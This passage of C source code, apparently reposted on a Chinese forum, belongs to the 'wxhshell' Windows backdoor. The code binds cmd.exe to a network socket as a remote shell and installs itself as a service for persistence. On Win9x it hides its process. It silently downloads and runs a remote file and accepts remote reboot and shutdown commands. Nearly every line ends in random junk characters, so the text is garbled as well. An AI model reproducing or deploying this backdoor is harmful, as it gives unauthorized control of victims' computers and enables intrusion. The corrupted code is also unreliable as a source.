    switch(cmd[0]) { z }t{bm  
  5os(.   
  // 帮助 Wej'AR\NX  
  case '?': { wM2[i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GadZ!_.f  
    break; s}O9[_v  
  } ya*KA.EGg  
  // 安装 '`+GC9VG  
  case 'i': { xUKn  
    if(Install()) IM^K]$q$47  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3;}C+K  
    else jTDaW8@L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YNRorE   
    break; LKEf#mp  
    } m\Xgvpv rP  
  // 卸载 ['G@`e*\  
  case 'r': {  hxedQvW  
    if(Uninstall()) 9q4%s?)j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O6P{+xj$  
    else oX;D|8 f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NI1jJfH|l  
    break; (|*CVI;  
    } figCeJ!W4  
  // 显示 wxhshell 所在路径 q@"0(Oj  
  case 'p': { IKm_YQ$XOy  
    char svExeFile[MAX_PATH]; "IvFkS=*Q  
    strcpy(svExeFile,"\n\r"); p>O>^R  
      strcat(svExeFile,ExeFile); )J['0DUrZK  
        send(wsh,svExeFile,strlen(svExeFile),0); rEM#J"wF  
    break; $;1TP|  
    } WZ3GI l  
  // 重启  _xyq25/  
  case 'b': { Zeeixg-1<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GJ3@".+6  
    if(Boot(REBOOT)) pKxq\U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3w:!' Ato  
    else { 5Y#W$Fx($R  
    closesocket(wsh);  $O)fHD'  
    ExitThread(0); ]W7e2:Hra  
    }  /uyZ[=5  
    break; V1 H3}  
    } 5d4/}o}%"  
  // 关机 {FrcpcrQa  
  case 'd': { %]iDhXLr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $4&%<'l3I  
    if(Boot(SHUTDOWN)) c(R=f +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k4AF .U`I  
    else { HZ+l){u  
    closesocket(wsh); tr<iFT}C  
    ExitThread(0); ?Ji nX'z  
    } qi&;2Yv  
    break; C.& R,$  
    } @gn}J'  
  // 获取shell fBi6% #  
  case 's': { X<j(AAHE  
    CmdShell(wsh); $U]KIHb  
    closesocket(wsh); +W8L^Wl  
    ExitThread(0); 74c[m}'S  
    break; Cd"cU~HAB  
  } 6^'BhHP  
  // 退出 &azy1.i~  
  case 'x': { _@gd9Fi7J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |_Tp:][mf  
    CloseIt(wsh); sgc pH  
    break; E;m-^dxc  
    } Ow@ }6&1  
  // 离开 /jtU<uX  
  case 'q': { v{T%`WuPRf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  s_p\ bl.  
    closesocket(wsh); FVgE^_  
    WSACleanup(); /3!c ;(  
    exit(1); DC-tBbQkk  
    break; 'Pm.b}p<  
        } CBVL/pxy  
  } #ox &=MY  
  } RdirEH *H  
kw gsf5[  
  // 提示信息 0?{Y6:d+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qSg=[7XOO  
} 4dgo*9  
  } aYBc)LCd  
w`Ss MI  
  return; s9p~  
} BKfkB[*F  
w|AHE  
// shell模块句柄 YIc|0[ ]*|  
int CmdShell(SOCKET sock) 8q5 `A Gl  
{ 7@6B\':  
STARTUPINFO si; [2 yxTK  
ZeroMemory(&si,sizeof(si)); g9XAUZe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /ta5d;@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /|HVp  
PROCESS_INFORMATION ProcessInfo; t 5{Y'  
char cmdline[]="cmd"; xX5EhVR   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gI /#7Cr  
  return 0; _?YP0GpU  
} #3h~Z)+y  
kW!`vQm~  
// 自身启动模式 O2n[`9*  
int StartFromService(void) ]((Ix,ggP  
{ _Z>I"m  
typedef struct {j!jm5  
{ ?e. Ge0&  
  DWORD ExitStatus; O #  
  DWORD PebBaseAddress; _>LI[yf{  
  DWORD AffinityMask; V(5=-8k  
  DWORD BasePriority; |RA|nu   
  ULONG UniqueProcessId; &-h z&/A,  
  ULONG InheritedFromUniqueProcessId; >B~vE2^tQ~  
}   PROCESS_BASIC_INFORMATION; u |EECjJn  
a(a 2xa  
PROCNTQSIP NtQueryInformationProcess; !SxZN dv  
[l7 G9T}/[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0?0$6F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .GM}3(1fX`  
_x&fK$Y)B  
  HANDLE             hProcess; :1 Y*&s  
  PROCESS_BASIC_INFORMATION pbi; }nO[;2Na  
M#?^uu'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p3L0'rY|+  
  if(NULL == hInst ) return 0; ;G=:>m~  
)}[:.Zg,3/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ET1>&l:.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ui[E,W~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VGPBD-6)  
{$ (X,E  
  if (!NtQueryInformationProcess) return 0; n-5@<y^  
rZt7C(FM$7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -{=c T?"+  
  if(!hProcess) return 0; e+? -#  
W bP wO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .R<Ke\y/  
R'Y=- yF  
  CloseHandle(hProcess); 2GB+st,  
Vo; B#lK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p`CVq`k  
if(hProcess==NULL) return 0; B/n/bi8T  
RhPEda2  
HMODULE hMod; ZnVx 'Y  
char procName[255]; Q 6)5*o8n  
unsigned long cbNeeded; ;#>,eD2u  
f]*_]J/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qtQB}r8  
r'GD  
  CloseHandle(hProcess); { yvKUTq`  
#dKHU@+U"  
if(strstr(procName,"services")) return 1; // 以服务启动 KkF3E*q\H  
/;K?Y#mf~j  
  return 0; // 注册表启动 fho$:S  
} [tP6FdS/M=  
\`MX\OR  
// 主模块 1I1Z),  
int StartWxhshell(LPSTR lpCmdLine) <.l$jW]  
{ TX%W-J _  
  SOCKET wsl; >@T(^=Q  
BOOL val=TRUE; uQYBq)p|  
  int port=0; [|NgrU_.  
  struct sockaddr_in door; +=qazE<:0  
rK@UCRf  
  if(wscfg.ws_autoins) Install(); < "8<<   
eT4+O5t  
port=atoi(lpCmdLine); j. m(Z}  
NyTGvBf  
if(port<=0) port=wscfg.ws_port; x|6# /m  
MUs~ZF  
  WSADATA data; jcuC2t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~:|qdv%\  
u>cU*E4/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^9ZW }AAO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3o>.Z;  
  door.sin_family = AF_INET; potb6jc?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); POouO/r$  
  door.sin_port = htons(port); 'g$a.75/-  
x9Qa.Jmj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #3L=\j[ y  
closesocket(wsl); }"{NW!RfP  
return 1; cHG>iW9C  
} ti)4J2c,8  
rf%NfU  
  if(listen(wsl,2) == INVALID_SOCKET) { v.aSf`K  
closesocket(wsl); `c-(1 ;Jb  
return 1; ~5f|L(ODX  
} 5X'com?T  
  Wxhshell(wsl); 2qY+-yOEt  
  WSACleanup(); X`QfOs#\  
 B3Yj  
return 0; o3mxtE]  
Ju~8C\Dd  
} BwN>;g_  
gkN|3^  
// 以NT服务方式启动  9kkYD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GsG9;6c+u  
{ R^i8AbFW  
DWORD   status = 0; :<`hsKy&  
  DWORD   specificError = 0xfffffff; 'aWzam>  
<<Fk[qMA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wJ| wAS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B_B~Y8=3`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xP1`FSO8=  
  serviceStatus.dwWin32ExitCode     = 0; abvA*|  
  serviceStatus.dwServiceSpecificExitCode = 0; >H ,t^i}@  
  serviceStatus.dwCheckPoint       = 0; ~TGk`cAM>  
  serviceStatus.dwWaitHint       = 0; 6 s+ Z  
dB^')-wA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -ty_<m]  
  if (hServiceStatusHandle==0) return; cE*Gd^  
54A ndyeA  
status = GetLastError(); "I|[m%\  
  if (status!=NO_ERROR) u/D=&"tL  
{ d9hJEu!Lu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4~G++|NQ  
    serviceStatus.dwCheckPoint       = 0; X5@rPGc  
    serviceStatus.dwWaitHint       = 0; vk:m >?(  
    serviceStatus.dwWin32ExitCode     = status; U73{Uv  
    serviceStatus.dwServiceSpecificExitCode = specificError; {FavF 9O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tk'YpL#U  
    return; "ct_EPr`  
  } \\qw"w9  
NINaOs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cu%|}xq  
  serviceStatus.dwCheckPoint       = 0; } r#by%P  
  serviceStatus.dwWaitHint       = 0; F?LTWm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0 w"&9+kV  
} 4YVxRZ1[3  
ya9V+/i7T_  
// 处理NT服务事件,比如:启动、停止 |!\(eLR9>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <*Kj7o{Qn  
{ wec |~Rc-  
switch(fdwControl) UeVRd  
{ P2nb&lVdu  
case SERVICE_CONTROL_STOP: !2('Cq_^  
  serviceStatus.dwWin32ExitCode = 0; *lN>RWbM%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &k5 Z|d|  
  serviceStatus.dwCheckPoint   = 0; >^@/Ba$h  
  serviceStatus.dwWaitHint     = 0; t._W643~  
  { <tEN1i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ou _bM n  
  } CbJ ]}Z  
  return; ACg5"  
case SERVICE_CONTROL_PAUSE: T[iwP~l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |zV-a2K%J  
  break; 3 *o l  
case SERVICE_CONTROL_CONTINUE: x)h p3&L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x. 7Ln9  
  break; Y%UfwbX!g  
case SERVICE_CONTROL_INTERROGATE: _fH.#C  
  break; 8"a[W3b  
};  \|Qx`-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T j7i#o  
} ( _ZOUMe  
Ksq{=q-T  
// 标准应用程序主函数 (8<U+)[tPy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1 )aB']K%  
{ :bLLN  
FuNc#n>  
// 获取操作系统版本 CL*i,9:NR  
OsIsNt=GetOsVer(); +oY[uF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fjUyx:  
^/wvHu[#  
  // 从命令行安装 1{oq8LB  
  if(strpbrk(lpCmdLine,"iI")) Install(); r^ ?Qo  
RZ!-,|"cwL  
  // 下载执行文件 ta*B#2D>  
if(wscfg.ws_downexe) { ,%+i}H,3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6xs_@Vk|d  
  WinExec(wscfg.ws_filenam,SW_HIDE); /-wAy-W  
} ?hh 4M  
g4WN+y`  
if(!OsIsNt) { ZB'/DO=i  
// 如果时win9x,隐藏进程并且设置为注册表启动 .`84Y  
HideProc(); Z-RgN  
StartWxhshell(lpCmdLine); aClXg-  
} _5vAn t*  
else We#u-#k_O  
  if(StartFromService()) [N}:Di,S  
  // 以服务方式启动 ) 5r*2I  
  StartServiceCtrlDispatcher(DispatchTable); uL^Qtmm>M  
else igp[cFN  
  // 普通方式启动 'aQ"&GX@  
  StartWxhshell(lpCmdLine); NhyVX%qt:  
I3QK~ V*j)  
return 0; T`f6`1x  
}
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只看该作者 1 发表于: 2006-10-10
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